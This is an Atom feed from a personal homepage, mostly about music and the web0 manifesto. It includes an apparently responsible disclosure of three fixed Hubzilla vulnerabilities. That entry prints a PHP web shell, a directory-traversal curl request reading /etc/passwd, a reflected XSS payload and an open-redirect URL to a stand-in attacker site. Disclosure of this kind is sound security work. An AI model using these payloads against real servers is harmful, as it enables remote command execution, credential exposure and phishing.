Haralds Homepage

Haralds Homepage The personal homepage of Harald Eilertsen. Zola 2025-03-01T00:00:00+00:00 https://volse.net/~haraldei/atom.xml Djevelbrygg/Hjemmehygg 2025-03-01T00:00:00+00:00 2025-03-01T00:00:00+00:00 Unknown https://volse.net/~haraldei/music/misc/djevelbrygg-hjemmehygg/ <p> <figure class="figure}"> <img src="https://volse.net/~haraldei/processed_images/fuzzbass-1.d7991a5d2f0d8372.jpg" alt="POV from a bass player down towards a messy floor with cables and some effect pedals" > </figure> <figure class="figure}"> <img src="https://volse.net/~haraldei/processed_images/fuzzbass-2.d765b36cc6531fe0.jpg" alt="Closeup of a RAT distortion pedal with the dials set to grim crunchy bass" > </figure> </p> <p>With a lot of things happening around the ancient Stigma Diabolicum/Thorns demos these days, I brushed most of the dust off from my old RAT distortion pedal. The same I used on the Thorns Grymyrk demo from 1991.</p> <p>Haven't used it since Hell knows when, but it was a a lot of fun playing with it again. And wouldn't you believe it had this happy little requence of riffs in it as well!</p> <figure class="audio-player"> <audio src="https://volse.net/~haraldei/music/misc/djevelbrygg-hjemmehygg/djevelbrygg_hjemmehygg_r1_2025-02-26.ogg" controls preload="none"> </audio> </figure> <p>Recorded straight into the soundcard, no filtering or processing. Drums by <a rel="noopener nofollow noreferrer" target="_blank" href="http://hydrogen-music.org/">Hydrogen</a>.</p> Guest vocals for Misery Path - Darkened Skies 2025-03-01T00:00:00+00:00 2025-03-01T00:00:00+00:00 Unknown https://volse.net/~haraldei/music/misc/guest-vocals-misery-path/ <iframe style="border: 0; width: 350px; height: 470px;" src="https://bandcamp.com/EmbeddedPlayer/album=3486075673/size=large/bgcol=333333/linkcol=4ec5ec/tracklist=false/track=489254738/transparent=true/" seamless><a href="https://miserypath.bandcamp.com/album/darkened-skies">Darkened Skies by Misery Path</a></iframe> <p>Last fall I was asked by <a rel="noopener nofollow noreferrer" target="_blank" href="https://metalhead.club/@MiseryPath">Misery Path</a> if I wanted to do some guest vocals for them. To be fair, I had hinted I would love to do some for them, if they wanted it. So the request wasn't entirely out of the blue.</p> <p>Anyways, I put down some vocals on the track "Our Fate Behold" on their otherwise excellent album "Darkened Skies".</p> <p>Listen to the <a rel="noopener nofollow noreferrer" target="_blank" href="https://miserypath.bandcamp.com/album/darkened-skies">full album at Bandcamp</a>.</p> FediVision 2024-03-13T00:00:00+00:00 2024-03-13T00:00:00+00:00 Unknown https://volse.net/~haraldei/music/misc/fedivision/ <p>Here's the contributions I've submitted to <a rel="noopener nofollow noreferrer" target="_blank" href="https://fedivision.party">FediVision</a>, the friendly music event of the fediverse.</p> <h2 id="2023-warm-flesh-cold-heart">2023 - Warm Flesh, Cold Heart</h2> <p>Composed, recorded and submitted for <a rel="noopener nofollow noreferrer" target="_blank" href="https://fedivision.party/">FediVision 2023</a>. This time as <em>Cult of the Headless Volse</em>. Perhaps a tad darker than the contribution for 2022? Anyways, I had a lot of fun making it. The riffs were combined with some old lyric snippets I had lying around, and the result didn't get all to bad, I think.</p> <audio controls> <source type="audio/mp3" src="Fedivision 2023 - Cult of the Headless Volse - Warm Flesh, Cold Heart.mp3"> <source type="audio/ogg" src="Fedivision 2023 - Cult of the Headless Volse - Warm Flesh, Cold Heart.ogg"> </audio> <p>Download: <a href="https://volse.net/~haraldei/music/misc/fedivision/Cult%20of%20the%20Headless%20Volse%20-%20Fedivision%202023%20-%20Warm%20Flesh,%20Cold%20Heart.mp3">mp3</a> | <a href="https://volse.net/~haraldei/music/misc/fedivision/Cult%20of%20the%20Headless%20Volse%20-%20Fedivision%202023%20-%20Warm%20Flesh,%20Cold%20Heart.ogg">Ogg Vorbis</a></p> <p>License: CC BY-SA 4.0 International.</p> <h2 id="2022-venom-in-my-veins">2022 - Venom in my Veins</h2> <p>I made this track for the <a rel="noopener nofollow noreferrer" target="_blank" href="https://fedivision.party/">FediVision 2022</a> competition under the moniker <em>The Clan of the Headless Volse</em>. It's a short track that should not be taken too seriously, but is meant to be entertaining and fun. In many ways a tribute to my earliest inspirations, Venom, Motörhead, etc.</p> <audio controls> <source type="audio/mp3" src="Fedivision 2022 - The Clan of the Headless Volse - Venom in my Veins.mp3"> <source type="audio/ogg" src="Fedivision 2022 - The Clan of the Headless Volse - Venom in my Veins.ogg"> </audio> <p>Download: <a href="https://volse.net/~haraldei/music/misc/fedivision/Fedivision%202022%20-%20The%20Clan%20of%20the%20Headless%20Volse%20-%20Venom%20in%20my%20Veins.mp3">mp3</a> | <a href="https://volse.net/~haraldei/music/misc/fedivision/Fedivision%202022%20-%20The%20Clan%20of%20the%20Headless%20Volse%20-%20Venom%20in%20my%20Veins.ogg">Ogg Vorbis</a></p> <p>License: CC BY-SA 4.0 International.</p> Hubzilla < 7.2 - Multiple vulnerabilities 2022-04-12T00:00:00+00:00 2022-04-12T00:00:00+00:00 Unknown https://volse.net/~haraldei/infosec/disclosures/hubzilla-before-7-2-multiple-vulnerabilities/ <p>While looking at the source code for <a rel="noopener nofollow noreferrer" target="_blank" href="https://zotlabs.org/page/hubzilla/hubzilla-project">Hubzilla</a>, I discovered a few low-hanging security vulnerabilities. These are a <a rel="noopener nofollow noreferrer" target="_blank" href="https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion">Local File Inclusion</a> vulnerability in the standard theme, and two vulnerabilities in the settings modules, a <a rel="noopener nofollow noreferrer" target="_blank" href="https://owasp.org/www-community/attacks/xss/">Cross-Site scripting</a> (XSS) vulnerability and an <a rel="noopener nofollow noreferrer" target="_blank" href="https://brightsec.com/blog/open-redirect-vulnerabilities/">Open Redirect</a> vulnerability, both via the <code>rpath</code> URL query parameter.</p> <p>Fixes for all of these issues were released in version 7.2 on March 29, 2022.</p> <h2 id="cve-2022-27257-local-file-inclusion-directory-traversal-in-redbasic-theme-for-hubzilla">CVE-2022-27257: Local file inclusion/Directory traversal in Redbasic theme for Hubzilla</h2> <p>The RedBasic theme does not validate the <code>$_REQUEST['schema']</code> argument before using it in a <code>require_once</code> call, leading to a Local File Inclusion (LFI) vulnerability. Further it does not check the filename for directory separators or other special chars, leading to a <a rel="noopener nofollow noreferrer" target="_blank" href="https://owasp.org/www-community/attacks/Path_Traversal">directory traversal</a> vulnerability.</p> <p>This allows an attacker to directly run PHP code from any known location in the file system where the web server process has read access. This includes files in the Hubzilla source three that would otherwise be protected by the default server configuration that redirects all requests to pass through the Hubzilla routing logic.</p> <h3 id="details">Details</h3> <ul> <li>Application: Hubzilla</li> <li>Component: Redbasic (default/builtin theme)</li> <li>Vulnerable versions: Any version before 7.2</li> <li>Fixed in version: 7.2</li> </ul> <h3 id="classification">Classification</h3> <ul> <li>CWE: <a rel="noopener nofollow noreferrer" target="_blank" href="https://cwe.mitre.org/data/definitions/20.html">CWE-20</a>, <a rel="noopener nofollow noreferrer" target="_blank" href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li> <li>CVSS Score: <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L">8.3</a> (High)</li> <li>CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L</li> </ul> <h3 id="relevant-code">Relevant code:</h3> <pre data-linenos data-lang="php" class="language-php "><code class="language-php" data-lang="php"><table><tbody><tr><td>1</td><td>if($_REQUEST['schema']) { </td></tr><tr><td>2</td><td> $schema = $_REQUEST['schema']; </td></tr><tr><td>3</td><td>} </td></tr><tr><td>4</td><td> </td></tr><tr><td>5</td><td>if (($schema) && ($schema != '---')) { </td></tr><tr><td>6</td><td> </td></tr><tr><td>7</td><td> // Check it exists, because this setting gets distributed to clones </td></tr><tr><td>8</td><td> if(file_exists('view/theme/redbasic/schema/' . $schema . '.php')) { </td></tr><tr><td>9</td><td> $schemefile = 'view/theme/redbasic/schema/' . $schema . '.php'; </td></tr><tr><td>10</td><td> require_once ($schemefile); </td></tr><tr><td>11</td><td> } </td></tr><tr><td>12</td><td> </td></tr><tr><td>13</td><td> if(file_exists('view/theme/redbasic/schema/' . $schema . '.css')) { </td></tr><tr><td>14</td><td> $schemecss = file_get_contents('view/theme/redbasic/schema/' . $schema . '.css'); </td></tr><tr><td>15</td><td> } </td></tr><tr><td>16</td><td> </td></tr><tr><td>17</td><td>} </td></tr></tbody></table></code></pre> <h3 id="proof-of-concept">Proof of concept:</h3> <p>Given a file <code>shell.php</code> somewhere in the server file system:</p> <pre data-lang="php" class="language-php "><code class="language-php" data-lang="php"><?php system($_REQUEST['cmd']); ?> </code></pre> <p>Any command can be executed by a remote, unauthenticated attacker, like this:</p> <pre data-lang="shell" class="language-shell "><code class="language-shell" data-lang="shell">$ curl -s 'https://example.com/view/theme/redbasic/php/style.pcss?f=&puid=2&schema=../../../../shell&v=7.1.6&cmd=cat%20/etc/passwd'|head root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin </code></pre> <h3 id="mitigating-factors">Mitigating factors</h3> <p>As Hubzilla will rename uploaded files to a GUID, it's not trivially possible to upload a malicious file to be exploited by this weakness by itself. It requires another way to upload the malicious file, or by finding an existing file that is exploitable within or outside of the Hubzilla directory tree.</p> <hr /> <h2 id="cve-2022-27258-reflected-cross-site-scripting-in-hubzilla-settings-modules">CVE-2022-27258: Reflected Cross-Site Scripting in Hubzilla settings modules</h2> <p>A number of settings modules does not sanitise or escape the <code>rpath</code> query parameter before outputting it into an html attribute, leading to a reflected Cross-Site Scripting (XSS) vulnerability.</p> <p>An attacker could use this to inject arbitrary JavaScript into a victims' session by enticing them to click a link.</p> <h3 id="details-1">Details</h3> <ul> <li>Application: Hubzilla</li> <li>Component: Settings modules</li> <li>Vulnerable versions: Any version before 7.2</li> <li>Fixed in version: 7.2</li> </ul> <h3 id="classification-1">Classification</h3> <ul> <li>CWE: <a rel="noopener nofollow noreferrer" target="_blank" href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li> <li>CVSS Score: <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N">7.4</a> (High)</li> <li>CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N</li> </ul> <h3 id="relevant-code-1">Relevant code</h3> <p>Example from <code>Zotlabs/Module/Settings/Calendar.php</code>:</p> <pre data-linenos data-lang="php" class="language-php "><code class="language-php" data-lang="php"><table><tbody><tr><td><mark>32</mark></td><td><mark> $rpath = (($_GET['rpath']) ? $_GET['rpath'] : ''); </mark></td></tr><tr><td>33</td><td> </td></tr><tr><td>34</td><td> $tpl = get_markup_template("settings_module.tpl"); </td></tr><tr><td>35</td><td> </td></tr><tr><td>36</td><td> $o .= replace_macros($tpl, array( </td></tr><tr><td><mark>37</mark></td><td><mark> '$rpath' => $rpath, </mark></td></tr><tr><td>38</td><td> '$action_url' => 'settings/' . $module, </td></tr><tr><td>39</td><td> '$form_security_token' => get_form_security_token('settings_' . $module), </td></tr><tr><td>40</td><td> '$title' => t('Calendar Settings'), </td></tr><tr><td>41</td><td> '$features' => process_module_features_get(local_channel(), $features), </td></tr><tr><td>42</td><td> '$submit' => t('Submit') </td></tr><tr><td>43</td><td> )); </td></tr></tbody></table></code></pre> <p>The highlighted lines show how the query parameter <code>rpath</code> is passed directly to the template <code>settings_module.tpl</code>:</p> <pre data-linenos data-lang="tpl" class="language-tpl "><code class="language-tpl" data-lang="tpl"><table><tbody><tr><td>8</td><td> {{if $rpath}} </td></tr><tr><td><mark>9</mark></td><td><mark> <input type='hidden' name='rpath' value='{{$rpath}}'> </mark></td></tr><tr><td>10</td><td> {{/if}} </td></tr></tbody></table></code></pre> <p>Where it is used without further escaping in a html element attribute.</p> <h3 id="related-source-files">Related source files:</h3> <ul> <li><code>Zotlabs/Module/Settings/Calendar.php</code></li> <li><code>Zotlabs/Module/Settings/Channel_home.php</code></li> <li><code>Zotlabs/Module/Settings/Connections.php</code></li> <li><code>Zotlabs/Module/Settings/Directory.php</code></li> <li><code>Zotlabs/Module/Settings/Editor.php</code></li> <li><code>Zotlabs/Module/Settings/Events.php</code></li> <li><code>Zotlabs/Module/Settings/Manage.php</code></li> <li><code>Zotlabs/Module/Settings/Network.php</code></li> <li><code>Zotlabs/Module/Settings/Photos.php</code></li> <li><code>Zotlabs/Module/Settings/Profiles.php</code></li> <li><code>View/tpl/settings_module.tpl</code></li> </ul> <h3 id="proof-of-concept-1">Proof of concept:</h3> <pre><code>https://example.com/settings/calendar/?f=&rpath=https://example.com/cdav/calendar'><script>alert('boom')</script> </code></pre> <hr /> <h2 id="cve-2022-27256-open-redirect-in-hubzilla-settings-modules">CVE-2022-27256: Open Redirect in Hubzilla settings modules</h2> <p>When submitting a change in one of the affected settings modules above, the <code>rpath</code> query parameter is is passed on as a POST parameter and used blindly to redirect after submitting the form, leading to an open redirect vulnerability.</p> <p>An attacker can use this to trick a victim to give them sensitive information by first directing them to change a setting and then redirect to an attacker controlled site after the victim submits the changes. For example by making malicious site look like the Hubzilla login form and convincing the victim they need to authenticate to save the changes.</p> <h3 id="details-2">Details</h3> <ul> <li>Application: Hubzilla</li> <li>Component: Settings modules</li> <li>Vulnerable versions: Any version before 7.2</li> <li>Fixed in version: 7.2</li> </ul> <h3 id="classification-2">Classification</h3> <ul> <li>CWE: <a rel="noopener nofollow noreferrer" target="_blank" href="https://cwe.mitre.org/data/definitions/601.html">CWE-601</a></li> <li>CVSS Score: <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N">4.7</a> (Medium)</li> <li>CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N</li> </ul> <h3 id="relevant-code-2">Relevant code:</h3> <p>Example from <code>Zotlabs/Module/Settings/Calendar.php</code>:</p> <pre data-linenos data-lang="php" class="language-php "><code class="language-php" data-lang="php"><table><tbody><tr><td>21</td><td> if($_POST['rpath']) </td></tr><tr><td>22</td><td> goaway($_POST['rpath']); </td></tr></tbody></table></code></pre> <p>Here the POST parameter <code>rpath</code> is passed directly to the <code>goaway()</code> function, that simply causes a redirect to the supplied URL without any further checking.</p> <h3 id="proof-of-concept-2">Proof of concept:</h3> <pre><code>https://example.com/settings/calendar/?f=&rpath=https://evilsite.org/auth.php </code></pre> hubzilla-versions.rb 2022-04-10T00:00:00+00:00 2022-04-10T00:00:00+00:00 Unknown https://volse.net/~haraldei/programming/projects/hubzilla-versions/ <p>I needed a quick way to find a rough estimate of the Hubzilla versions in active use at the moment. So I wrote a small program to fetch the info from <a rel="noopener nofollow noreferrer" target="_blank" href="https://the-federation.info/hubzilla">the-federation.info</a> using their <a rel="noopener nofollow noreferrer" target="_blank" href="https://the-federation.info/graphql">GraphQL endpoint</a>, and summarizing the various versions like this:</p> <pre><code>:!./hubzilla-versions.rb Fetching results... 7.3 : 6 ( 5.77%) 7.2 : 37 (35.58%) 7.1.3: 1 ( 0.96%) 7.0.3: 18 (17.31%) 7.0.2: 4 ( 3.85%) 7.0 : 4 ( 3.85%) 6.4.2: 3 ( 2.88%) 6.4.1: 1 ( 0.96%) 6.4 : 1 ( 0.96%) 6.0.1: 6 ( 5.77%) 6.0 : 2 ( 1.92%) 5.6.1: 1 ( 0.96%) 5.4.1: 1 ( 0.96%) 5.2.2: 1 ( 0.96%) 5.1.2: 1 ( 0.96%) 5.0.8: 1 ( 0.96%) 5.0.5: 1 ( 0.96%) 4.6 : 8 ( 7.69%) 4.5 : 1 ( 0.96%) 4.4.1: 2 ( 1.92%) 4.0.3: 1 ( 0.96%) 3.8.8: 1 ( 0.96%) 3.6.1: 1 ( 0.96%) 3.2.1: 1 ( 0.96%) ---------- total: 104 </code></pre> <p><a rel="noopener nofollow noreferrer" target="_blank" href="https://code.volse.net/hubzilla/volse-hz-tools.git/tree/hubzilla-versions.rb">The code</a> is of course available if you would find this useful as well, or if you want to adapt it to your usecase.</p> web0 manifesto 2022-01-01T00:00:00+00:00 2022-01-01T00:00:00+00:00 Unknown https://volse.net/~haraldei/web0/ <p>I just signed the <a rel="noopener nofollow noreferrer" target="_blank" href="https://web0.small-web.org/">web0 manifesto</a> an initiaive by the wonderful folks of the Small Technology Foundation. The manifesto is short, so I'll repeat it here:</p> <blockquote> <pre><code>web3 = decentralisation + blockchain + NFTs + metaverse web0 = web3 - blockchain - NFTs - metaverse web0 = decentralisation </code></pre> <p>web0 is the decentralised web.</p> <p>In other words, web0 is web3 without all the corporate right-libertarian Silicon Valley bullshit.</p> </blockquote> <h2 id="why">Why?</h2> <p>I find the entire notion that we need something based on a blockchain to make a decentralised web completely meaningless and outright ridiculous. The web is already decentralised, we just need to embrace the fact and get rid of the structures that try to centralise it.</p> <p>The thing is, most people today has not experienced the free decentralised web the way it was in the mid 1990's to the early 2000's. Without this experience it's hard to imagine a web without the giant and centralised silos that have taken over the web today.</p> <p>It used to be that when you signed up for an internet connection, you got an email address and a small "home area" on the ISP's server along with it. This meant that anyone could publish their own website in their home area, something many people did. The "home pages" of various random people around the net became it's own genre, with it's own conventions and style.</p> <p>The web was full of these pages. Made by enthusiasts, writing about things that interested them. Some were elaborate and had lots of content and detail, while some were more sparse and held a promise for more later. This web of sites were linked together by hyperlinks (or just web links today) that allowed us to jump from one site to another, and often get a bit lost along the way.</p> <p>At some point this stopped. ISP's began to just provide an internet connection, no email or storage space. No "home area". This increased the threshold for creating your own site or "homepage". The email was handed over to the advertising industry providing "free" email in exchange for snooping on your communication.</p> <p>The "home area" or homepages were taken over first by blogs and later by social media sites, again for "free" in exchange for you giving them your social graph and relationships. (So they can know you better!)</p> <p>We definitely need to redecentralize the web. But we don't need more complexity or a blockchain to do so. After we moved from the dial-up internet connections we had in the early days of the web, we now have allways-on wired and soon wireless internet in our homes.</p> <p>It's easier than ever to just keep an old (or a cheap single board) computer running and serving your web site from it. We just need simple software that makes the setup and maintenance of the site and computer easy.</p> <p>Now imagine a web where we all have our own sites with our own content running from our own home internet connection? We can link to each other, we can share and collaborate and communicate with each other. Safely and with complete control over who we share what with. All from our own sites, all without any big centralised service in the middle.</p> <p>This is the web. Not any future web, but the web today. Quite frankly, the web as it has always been.</p> <p>We don't need any blockchain to decentralise the web. We just need to use the web we have today!</p> Thorns: Making a podcast 2021-11-08T00:00:00+00:00 2022-01-08T00:00:00+00:00 Unknown https://volse.net/~haraldei/music/thorns/making-a-podcast/ <figure class="figure} prefer-left"> <img src="https://volse.net/~haraldei/processed_images/05423F85-B7DF-455E-9408-4EF4F8DA1B7C.3ea3102c08c309c3.jpg" alt="Three bearded men in front of a wooden wall." > <figcaption class="caption"> <p>Marius Vold, Snorre Ruch and Harald Eilertsen of the original lineup of Thorns. Together in a photo for the first time since the early 1990s! (Photo by Thomas Eriksen)</p> </figcaption> </figure> <p>This weekend Marius, me and Snorre met up with <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.morkisebakke.no/">Mork</a> main man Thomas Eriksen for making an episode of <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.morkisebakke.no/category/podcast">his podcast</a>. That is, I met up with Marius and Thomas in Oslo and then we drove up to where Snorre lives and stayed at his place for the weekend. Drinking, smoking and sharing lots of music and memories.</p> <p>It's always hard to say anything about how the episode turns out, but we had a good time, and I think we covered a lot of things that will be interesting to black metal fans in general and Thorns fans in particular.</p> <p>And of course it was a great to meet up and see Snorre again. We live quite far from each other, so we don't get to see each other as often anymore. Would have been great to have Bård there too. Hopefully next time!</p> <figure class="figure}"> <img src="https://volse.net/~haraldei/processed_images/158EF0D2-CE0C-4CCA-B6EC-3CC0CA75456C.723886425b21ad6e.jpg" alt="some people, microphones and a computer set up for making a podcast." > <figcaption class="caption"> <p>This is what making a podcast looks like. (Photo by Thomas Eriksen)</p> </figcaption> </figure> <p><strong>Update: Jan 8, 2022:</strong> Both episodes of the podcast is available now, the <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.morkisebakke.no/podcast/2021/11/ep-30-on-the-road-1-feat-marius-vold-harald-eilertsen-both-ex-thorns">Roadtrip</a> which we recorded in the car on the way, and the <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.morkisebakke.no/podcast/2021/11/ep-31-snorre-ruch-thorns">actual episode about/with Snorre</a>.</p> <p>It was great fun to do both of these, especially the "proper" episode where we went on a serious trip down memory lane and talked about the earliest days of our musical journey, and what eventually became Thorns.</p> <p>Enjoy!</p>